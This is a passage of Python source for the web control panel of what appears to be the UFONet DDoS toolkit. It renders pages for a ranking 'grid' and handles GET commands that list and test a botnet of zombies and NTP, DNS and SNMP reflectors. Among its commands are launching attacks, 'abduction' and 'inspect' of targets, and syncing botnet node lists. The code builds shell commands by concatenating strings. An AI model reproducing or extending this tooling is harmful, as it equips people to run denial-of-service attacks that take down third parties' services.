  3600. <button title="Start to search for biggest file on your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">INSPECT!</button></pre>
  3601. </td></tr></table>
  3602. <br><br><hr><br>
  3603. <div id="cmdOut"></div><center>""" + self.pages["/footer"]
  3604. self.pages["/ranking"] = self.pages["/header"] + """<script language="javascript">
  3605. function Grid() {
  3606. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3607. }
  3608. function Stats() {
  3609. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3610. }
  3611. function Board() {
  3612. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3613. }
  3614. function Links() {
  3615. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3616. }
  3617. function Streams() {
  3618. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3619. }
  3620. function Sync_ranking(){
  3621. ranking_source=document.getElementById("ranking_source").value
  3622. if(ranking_source == "") {
  3623. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  3624. return
  3625. }else{
  3626. params="ranking_source="+escape(ranking_source)
  3627. runCommandX("cmd_refresh_ranking",params)
  3628. document.getElementById("nb1").style.display = "none";
  3629. document.getElementById("nb1").style.display = "block";
  3630. setTimeout("location.reload()", 10000)
  3631. }
  3632. }
  3633. </script></head>
  3634. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3635. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3636. <center>
  3637. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  3638. <td><a href="javascript:alert('Commander DPR says: I love new blood!! """ + self.ranking + """, in the Ranking section you can see information about how to raise your grade, meet the best UFOMasters, be close to those who are like you and try to find partners to dominate the multi-verse... Until then: Dont be evil!');"><img src='data:image/png;base64,"""+self.commander_img+"""'></a></td>
  3639. <td>GRADUATION/CLANS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit your own stats..." onclick="Stats()">VISIT STATS!</button><br><br><button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit data links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit Streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  3640. </tr></table>
  3641. <table cellpadding="5" cellspacing="10">
  3642. <tr>
  3643. <td align="center">
  3644. Your ranking is: <b>""" + str(self.ranking) + """</b>
  3645. </td>
  3646. </tr>
  3647. <tr>
  3648. <td>
  3649. <table border="1" cellpadding="10" cellspacing="10">
  3650. <tr>
  3651. <td align="center"><b><u>GRADE:</u></b></td><td align="center"><b><u>RANKING:</u></b></td><td align="center"><b><u>REQUIRED:</u></b></td></tr>
  3652. <tr>
  3653. <td align="center"><font color='orange' size='4'>-</font></td><td align="center"><font color='orange'>Unknown</font></td><td align='center'><a style="text-decoration:none" href="javascript:alert('You havent a correct key set on your configuration to unmask this Motherships!');">KEY?</a></td></tr>
  3654. <tr>
  3655. <td align="center"><font color='white' size='4'>*</font></td><td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>missions<4</font></td></tr>
  3656. <tr>
  3657. <td align="center"><font color='cyan' size='4'>**</font></td><td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>missions>4</font></td></tr>
  3658. <tr>
  3659. <td align="center"><font color='blueviolet' size='4'>***</font></td><td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>crashed=1</font></td></tr>
  3660. <tr>
  3661. <td align="center"><font color='blue' size='4'>****</font></td><td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>crashed>1<4</font></td></tr>
  3662. <tr>
  3663. <td align="center"><font color='red' size='4'>&#x25BC;</font></td><td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'><a style="text-decoration:none" href="javascript:alert('Secret Achievement!');">???</a></font></td></tr>
  3664. </table>
  3665. </td>
  3666. </tr></table>
  3667. <br>
  3668. <table cellpadding="5" cellspacing="10">
  3669. <tr>
  3670. <td>Blackhole/IP:</td>
  3671. <td><input type="text" name="ranking_source" id="ranking_source" size="20" value='"""+default_blackhole+"""'></td>
  3672. <td><button title="Syncronize data from a blackhole with your device..." onclick="Sync_ranking()">DOWNLOAD!</button></td>
  3673. </tr></table>
  3674. <br>
  3675. <div id="nb2" style="display: none;">"""+str(self.extract_ranking_table())+"""</div>
  3676. Last update: <font color='"""+ self.ranking_status_color + """'>"""+ self.ranking_datetime + """</font><br><br>
  3677. <div id="cmdOut"></div>
  3678. <div id="nb1" style="display: block;">"""+self.ranking_text+"""</div>
  3679. <table bgcolor="black" cellpadding="5" cellspacing="10" border="0"><tr>
  3680. <td>
  3681. </td><td>
  3682. <table border="1" cellpadding="5" cellspacing="10">
  3683. <tr>
  3684. <td align="center"><b><u>TOTAL_ON_GRID:</u></b></td><td align="center"><b><u>"""+str(self.ranking_grid_total)+"""</u></b></td></tr>
  3685. <tr>
  3686. <td align="center"><font color='orange'>Unknown</font></td><td align='center'><font color='orange'>"""+str(self.ranking_grid_unknown)+"""</font></td></tr>
  3687. <tr>
  3688. <td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>"""+str(self.ranking_grid_rookie)+"""</font></td></tr>
  3689. <tr>
  3690. <td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>"""+str(self.ranking_grid_mercenary)+"""</font></td></tr>
  3691. <tr>
  3692. <td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>"""+str(self.ranking_grid_bandit)+"""</font></td></tr>
  3693. <tr>
  3694. <td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>"""+str(self.ranking_grid_ufommander)+"""</font></td></tr>
  3695. <tr>
  3696. <td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'>"""+str(self.ranking_grid_ufoleet)+"""</font></td></tr>
  3697. </table>
  3698. </td><td>
  3699. <table border="1" cellpadding="5" cellspacing="10">
  3700. <tr>
  3701. <td><b><u>TOP_5_MOTHERSHIPS:</u></b></td></tr>
  3702. <tr>
  3703. <td align='center'>"""+str(self.ranking_top5_player1)+"""</td></tr>
  3704. <tr>
  3705. <td align='center'>"""+str(self.ranking_top5_player2)+"""</td></tr>
  3706. <tr>
  3707. <td align='center'>"""+str(self.ranking_top5_player3)+"""</td></tr>
  3708. <tr>
  3709. <td align='center'>"""+str(self.ranking_top5_player4)+"""</td></tr>
  3710. <tr>
  3711. <td align='center'>"""+str(self.ranking_top5_player5)+"""</td></tr>
  3712. </table>
  3713. </td><td>
  3714. <table border="1" cellpadding="5" cellspacing="10">
  3715. <tr>
  3716. <td><b><u>RANDOM_SIMILAR:</u></b></td></tr>
  3717. <tr>
  3718. <td align='center'>"""+str(self.ranking_similar_player1)+"""</td></tr>
  3719. <tr>
  3720. <td align='center'>"""+str(self.ranking_similar_player2)+"""</td></tr>
  3721. <tr>
  3722. <td align='center'>"""+str(self.ranking_similar_player3)+"""</td></tr>
  3723. </table>
  3724. </td><td>
  3725. <table border="1" cellpadding="5" cellspacing="10">
  3726. <tr>
  3727. <td><b><u>AI_SUGGESTION:</u></b></td></tr>
  3728. <tr>
  3729. <td align='center'>"""+str(self.ranking_top1_player1)+"""</td></tr>
  3730. </table>
  3731. </td>
  3732. </tr></table>
  3733. </center>
  3734. <hr>
  3735. """ + self.pages["/footer"]
  3736. self.pages["/lib.js"] = """function loadXMLDoc() {
  3737. var xmlhttp;
  3738. if (window.XMLHttpRequest) {
  3739. // code for IE7+, Firefox, Chrome, Opera, Safari
  3740. xmlhttp = new XMLHttpRequest();
  3741. } else {
  3742. // code for IE6, IE5
  3743. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  3744. }
  3745. xmlhttp.onreadystatechange = function() {
  3746. if (xmlhttp.readyState == 4 ) {
  3747. if(xmlhttp.status == 200){
  3748. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  3749. setTimeout("loadXMLDoc()", 3000);
  3750. }
  3751. }
  3752. }
  3753. xmlhttp.send();
  3754. }
  3755. function runCommandX(cmd,params) {
  3756. var xmlhttp;
  3757. if (window.XMLHttpRequest) {
  3758. // code for IE7+, Firefox, Chrome, Opera, Safari
  3759. xmlhttp = new XMLHttpRequest();
  3760. } else {
  3761. // code for IE6, IE5
  3762. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  3763. }
  3764. xmlhttp.onreadystatechange = function() {
  3765. if (xmlhttp.readyState == 4 ) {
  3766. if(xmlhttp.status == 200){
  3767. if(cmd.indexOf("?")!=-1){
  3768. s=cmd.split("?")
  3769. cmd=s[0]
  3770. params=s[1]
  3771. }
  3772. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  3773. //document.getElementById("cmdOut").scrollIntoView();
  3774. newcmd=cmd
  3775. if(newcmd=="cmd_list_army"||newcmd=="cmd_list_nodes"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"||newcmd=="cmd_view_changelog"){ //do not refresh listing army
  3776. return;
  3777. } else {
  3778. if(newcmd=="cmd_test_army" || newcmd=="cmd_download_nodes" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_tv" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_sync_links" || newcmd=="cmd_sync_globalnet" || newcmd=="cmd_sync_streams" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_transfer_link" || newcmd=="cmd_transfer_globalnet" || newcmd=="cmd_transfer_stream" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_decrypt_links" || newcmd=="cmd_decrypt_globalnet" || newcmd=="cmd_decrypt_streams" || newcmd=="cmd_decrypt_tv" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_download_botnet_ip" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_check_tor" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_link_filter" || newcmd=="cmd_globalnet_filter" || newcmd=="cmd_stream_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update"
  3779. //do not refresh if certain text on response is found
  3780. if(newcmd.match(/update/) &&
  3781. (
  3782. xmlhttp.responseText.match(/Generating random exit/) ||
  3783. xmlhttp.responseText.match(/Biggest File/) ||
  3784. xmlhttp.responseText.match(/Abduction finished/) ||
  3785. xmlhttp.responseText.match(/Not any zombie active/) ||
  3786. xmlhttp.responseText.match(/Target looks OFFLINE/) ||
  3787. xmlhttp.responseText.match(/Unable to connect to target/) ||
  3788. xmlhttp.responseText.match(/Something wrong/) ||
  3789. xmlhttp.responseText.match(/Target url not valid/) ||
  3790. xmlhttp.responseText.match(/updated/) ||
  3791. xmlhttp.responseText.match(/For HELP use:/) ||
  3792. xmlhttp.responseText.match(/Not any .git repository found/) ||
  3793. xmlhttp.responseText.match(/End of /) ||
  3794. xmlhttp.responseText.match(/Exiting /) ||
  3795. xmlhttp.responseText.match(/Bye/)
  3796. )
  3797. ) return;
  3798. setTimeout(function(){runCommandX(newcmd,params)}, 3000);
  3799. return;}
  3800. }
  3801. }
  3802. }
  3803. if(typeof params != "undefined") cmd=cmd+"?"+params
  3804. xmlhttp.open("GET", cmd, true);
  3805. xmlhttp.send();
  3806. }
  3807. """
  3808. self.pages["/requests"] = self.html_requests()
  3809. self.pages["/board_profile"] = self.html_board_profile()
  3810. self.pages["/grid_profile"] = self.html_grid_profile()
  3811. def buildGetParams(self, request):
  3812. params = {}
  3813. try:
  3814. path = re.findall("^GET ([^\s]+)", request.decode('utf-8'))
  3815. except:
  3816. path = re.findall("^GET ([^\s]+)", request)
  3817. if path:
  3818. path = path[0]
  3819. start = path.find("?")
  3820. if start != -1:
  3821. if path[start+1:start+7] == "zombie":
  3822. params['zombie']=path[start+8:]
  3823. return params
  3824. if path[start+1:start+7] == "target":
  3825. params['target']=path[start+8:]
  3826. return params
  3827. for param in path[start+1:].split("&"):
  3828. f = param.split("=")
  3829. if len(f) == 2:
  3830. var = f[0]
  3831. value = f[1]
  3832. value = value.replace("+", " ") # quoted space
  3833. value = urllib.parse.unquote(value)
  3834. for key in badkeys: # sanitize user-input badkeys
  3835. if key in value:
  3836. value = value.replace(key, " ")
  3837. params[var] = value
  3838. return params
  3839. def save_profile(self,pGet):
  3840. # set values for profile configuration from html form to json file
  3841. if "profile_token" in list(pGet.keys()):
  3842. profile_token = pGet["profile_token"]
  3843. else:
  3844. profile_token = self.profile_token
  3845. if "profile_icon" in list(pGet.keys()):
  3846. profile_icon = pGet["profile_icon"]
  3847. else:
  3848. profile_icon = self.profile_icon
  3849. if "profile_nick" in list(pGet.keys()):
  3850. profile_nick = pGet["profile_nick"]
  3851. else:
  3852. profile_nick = self.profile_nick
  3853. # set new values on boardcfg json file
  3854. with open(self.mothership_boardcfg_file, "w") as f:
  3855. json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4)
  3856. def save_grid(self,pGet):
  3857. # set values for profile configuration from html form to json file
  3858. if "grid_token" in list(pGet.keys()):
  3859. grid_token = pGet["grid_token"]
  3860. else:
  3861. grid_token = self.grid_token
  3862. if "grid_contact" in list(pGet.keys()):
  3863. grid_contact = pGet["grid_contact"]
  3864. else:
  3865. grid_contact = self.grid_contact
  3866. if "grid_nick" in list(pGet.keys()):
  3867. grid_nick = pGet["grid_nick"]
  3868. else:
  3869. grid_nick = self.grid_nick
  3870. # set new values on gridcfg json file
  3871. with open(self.mothership_gridcfg_file, "w") as f:
  3872. json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4)
  3873. def save_cfg(self,pGet):
  3874. # set values for requests configuration from html form to json file
  3875. if "rproxy" in list(pGet.keys()):
  3876. frm_rproxy = pGet["rproxy"]
  3877. else:
  3878. frm_rproxy = self.rproxy
  3879. if "ruseragent" in list(pGet.keys()):
  3880. frm_ruseragent = pGet["ruseragent"]
  3881. else:
  3882. frm_ruseragent = self.ruseragent
  3883. if "rreferer" in list(pGet.keys()):
  3884. frm_rreferer = pGet["rreferer"]
  3885. else:
  3886. frm_rreferer = self.rreferer
  3887. if "rhost" in list(pGet.keys()):
  3888. frm_rhost = pGet["rhost"]
  3889. else:
  3890. frm_rhost = self.rhost
  3891. if "rxforw" in list(pGet.keys()):
  3892. frm_rxforw = pGet["rxforw"]
  3893. else:
  3894. if "update" in list(pGet.keys()):
  3895. frm_rxforw = ""
  3896. else:
  3897. frm_rxforw = self.rxforw
  3898. if "rxclient" in list(pGet.keys()):
  3899. frm_rxclient = pGet["rxclient"]
  3900. else:
  3901. if "update" in list(pGet.keys()):
  3902. frm_rxclient = ""
  3903. else:
  3904. frm_rxclient = self.rxclient
  3905. if "rtimeout" in list(pGet.keys()):
  3906. frm_rtimeout = pGet["rtimeout"]
  3907. else:
  3908. frm_rtimeout = self.rtimeout
  3909. if "rretries" in list(pGet.keys()):
  3910. frm_rretries = pGet["rretries"]
  3911. else:
  3912. frm_rretries = self.rretries
  3913. if "rdelay" in list(pGet.keys()):
  3914. frm_rdelay = pGet["rdelay"]
  3915. else:
  3916. frm_rdelay = self.rdelay
  3917. if "threads" in list(pGet.keys()):
  3918. frm_threads = pGet["threads"]
  3919. else:
  3920. frm_threads = self.threads
  3921. if "rssl" in list(pGet.keys()):
  3922. frm_rssl = pGet["rssl"]
  3923. else:
  3924. if "update" in list(pGet.keys()):
  3925. frm_rssl = ""
  3926. else:
  3927. frm_rssl = self.rssl
  3928. # set new values on webcfg json file
  3929. with open(self.mothership_webcfg_file, "w") as f:
  3930. json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4)
  3931. def get(self, request):
  3932. # set request options of the user
  3933. cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'"
  3934. if self.rxforw == "on":
  3935. cmd_options = cmd_options + " --xforw"
  3936. if self.rxclient == "on":
  3937. cmd_options = cmd_options + " --xclient"
  3938. if self.rssl == "on":
  3939. cmd_options = cmd_options + " --force-ssl"
  3940. cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui
  3941. runcmd = ""
  3942. try:
  3943. res = re.findall("^GET ([^\s]+)", request.decode('utf-8'))
  3944. except:
  3945. res = re.findall("^GET ([^\s]+)", request)
  3946. if res is None or len(res)==0:
  3947. return
  3948. pGet = {}
  3949. page = res[0]
  3950. paramStart = page.find("?")
  3951. if paramStart != -1:
  3952. page = page[:paramStart]
  3953. try:
  3954. pGet = self.buildGetParams(request.decode('utf-8'))
  3955. except:
  3956. pGet = self.buildGetParams(request)
  3957. if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"):
  3958. if os.path.exists("core/"+page[1:]):
  3959. try:
  3960. f=open("core/"+page[1:],'r',encoding="utf-8")
  3961. data = f.read()
  3962. self.pages[page]=data
  3963. except:
  3964. f=open("core/"+page[1:],'rb') # ajax map related
  3965. data = f.read()
  3966. self.pages[page]=data
  3967. elif page == "/js/ajax.js":
  3968. from .ajaxmap import AjaxMap
  3969. self.pages[page] = AjaxMap().ajax(pGet)
  3970. if page == "/cmd_check_tool":
  3971. self.pages["/cmd_check_tool"] = "<pre>Waiting for updates results...</pre>"
  3972. runcmd = "("+python_version+" -i ufonet --update |tee /tmp/out) &"
  3973. if page == "/cmd_check_tool_update":
  3974. if not os.path.exists('/tmp/out'):
  3975. open('/tmp/out', 'w').close()
  3976. with open('/tmp/out', 'r') as f:
  3977. self.pages["/cmd_check_tool_update"] = "<pre>"+f.read()+"<pre>"
  3978. if page == "/cmd_check_tor":
  3979. self.pages["/cmd_check_tor"] = "<pre>Waiting for results from the Tor check...</pre>"
  3980. runcmd = "("+python_version+" -i ufonet --check-tor |tee /tmp/out) &"
  3981. if page == "/cmd_check_tor_update":
  3982. if not os.path.exists('/tmp/out'):
  3983. open('/tmp/out', 'w').close()
  3984. with open('/tmp/out', 'r') as f:
  3985. self.pages["/cmd_check_tor_update"] = "<pre>"+f.read()+"<pre>"
  3986. if page == "/cmd_view_changelog":
  3987. f = open("docs/VERSION", "r")
  3988. changelog = f.read()
  3989. f.close()
  3990. self.pages["/cmd_view_changelog"] = "</center><pre>"+str(changelog)+"<br /><br/>"
  3991. if page == "/cmd_list_army":
  3992. self.pages["/cmd_list_army"] = "<pre><h1>Total Botnet = "+self.total_botnet+"</h1><table cellpadding='10' cellspacing='10' border='1'><tr><td>UCAVs:</td><td>"+self.num_ucavs+"</td><td>Aliens:</td><td>"+self.num_aliens+"</td></tr><tr><td>Droids:</td><td>"+self.num_droids+"</td><td>Zombies:</td><td>"+self.num_zombies+"</td></tr><tr><td>XML-RPCs:</td><td>"+self.num_rpcs+" </td><td>NTPs:</td><td>"+self.num_ntps+"</td></tr><tr><td>DNSs:</td><td>"+self.num_dnss+"</td><td>SNMPs:</td><td>"+self.num_snmps+"</td></tr></table> <hr><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>NTPs:</u> <b>"+self.num_ntps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ntps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ntps)+"</td><td></h3>"+'\n'.join(self.ntps)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>DNSs:</u> <b>"+self.num_dnss+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.dnss_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_dnss)+"</td><td></h3>"+'\n'.join(self.dnss)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>SNMPs:</u> <b>"+self.num_snmps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.snmps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_snmps)+"</td><td></h3>"+'\n'.join(self.snmps)+"</td></tr></table><br /><br/>"
  3993. if page == "/cmd_list_nodes":
  3994. self.dec_list_blackholes = []
  3995. self.decrypted_blackholes = []
  3996. for blackholes_text in self.list_blackholes:
  3997. self.decrypt(crypto_key, blackholes_text)
  3998. if self.decryptedtext:
  3999. self.dec_list_blackholes.append(self.decryptedtext)
  4000. self.decryptedtext = "" # clean decryptedtext buffer
  4001. num_blackholes = 0 # blackholes nodes counter
  4002. for b in self.dec_list_blackholes:
  4003. num_blackholes = num_blackholes + 1
  4004. s = b.rsplit(blackhole_sep, 1)[0]
  4005. ip_b = str(s.rsplit(blackhole_sep, 1)[0].rsplit(":", 1)[1])
  4006. self.decrypted_blackholes.append(ip_b)
  4007. self.decrypted_globalnet = []
  4008. with open(self.globalnet_file) as f:
  4009. ls = f.read().splitlines()
  4010. f.close()
  4011. num_globalnet = 0 # globalnet nodes counter
  4012. for j in ls:
  4013. if globalnet_msg_sep in j:
  4014. m = j.split(globalnet_msg_sep)
  4015. globalnet_ip = m[3] # ip
  4016. self.decrypt(crypto_key, globalnet_ip)
  4017. if self.decryptedtext:
  4018. num_globalnet = num_globalnet + 1
  4019. ip_g = self.decryptedtext
  4020. self.decrypted_globalnet.append(ip_g)
  4021. self.decryptedtext = "" # clean decryptedtext buffer
  4022. if num_blackholes == 0:
  4023. ip_b = "-"
  4024. if num_globalnet == 0:
  4025. ip_g = "-"
  4026. total_nodes = str(num_blackholes + num_globalnet)
  4027. self.pages["/cmd_list_nodes"] = "<pre><h1>Total Nodes = "+str(total_nodes)+"</h1><br /><div id='infovis'></div><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u><a href='/radar' target='_blank'>GLOBAL.RADAR:</u></a> <b>"+str(num_globalnet)+"</b></td><td><h3><u><a href='/blackholes' target='_blank'>SHIP.WARPS:</u></a> <b>"+str(num_blackholes)+"</b></td></tr><tr><td></h3>"+'\n'.join(self.decrypted_globalnet)+"</td><td></h3>"+'\n'.join(self.decrypted_blackholes)+"</td></tr></table><br /><br/>"
  4028. if page == "/cmd_list_zombies":
  4029. self.pages["/cmd_list_zombies"] = "<pre><h1>Total Zombies = "+self.num_zombies+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><br/>"
  4030. if page == "/cmd_list_aliens":
  4031. self.pages["/cmd_list_aliens"] = "<pre><h1>Total Aliens = "+self.num_aliens+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><br/>"
  4032. if page == "/cmd_list_droids":
  4033. self.pages["/cmd_list_droids"] = "<pre><h1>Total Droids = "+self.num_droids+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><br/>"
  4034. if page == "/cmd_list_ucavs":
  4035. self.pages["/cmd_list_ucavs"] = "<pre><h1>Total UCAVs = "+self.num_ucavs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><br/>"
  4036. if page == "/cmd_list_rpcs":
  4037. self.pages["/cmd_list_rpcs"] = "<pre><h1>Total XML-RPCs = "+self.num_rpcs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  4038. if page == "/cmd_list_ntps":
  4039. self.pages["/cmd_list_ntps"] = "<pre><h1>Total NTPs = "+self.num_ntps+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>NTPs:</u> <b>"+self.num_ntps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ntps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ntps)+"</td><td></h3>"+'\n'.join(self.ntps)+"</td></tr></table><br /><br/>"
  4040. if page == "/cmd_list_dnss":
  4041. self.pages["/cmd_list_dnss"] = "<pre><h1>Total DNSs = "+self.num_dnss+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>DNSs:</u> <b>"+self.num_dnss+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.dnss_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_dnss)+"</td><td></h3>"+'\n'.join(self.dnss)+"</td></tr></table><br /><br/>"
  4042. if page == "/cmd_list_snmps":
  4043. self.pages["/cmd_list_snmps"] = "<pre><h1>Total SNMPs = "+self.num_snmps+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>SNMPs:</u> <b>"+self.num_snmps+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.snmps_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_snmps)+"</td><td></h3>"+'\n'.join(self.snmps)+"</td></tr></table><br /><br/>"
  4044. if page == "/cmd_view_army":
  4045. if pGet=={}:
  4046. self.pages["/cmd_view_army"] = self.html_army_map()
  4047. if page == "/cmd_view_attack":
  4048. if 'target' in list(pGet.keys()) != None:
  4049. self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target'])
  4050. if page == "/cmd_test_army":
  4051. self.pages["/cmd_test_army"] = "<pre>Waiting for testing results...</pre>"
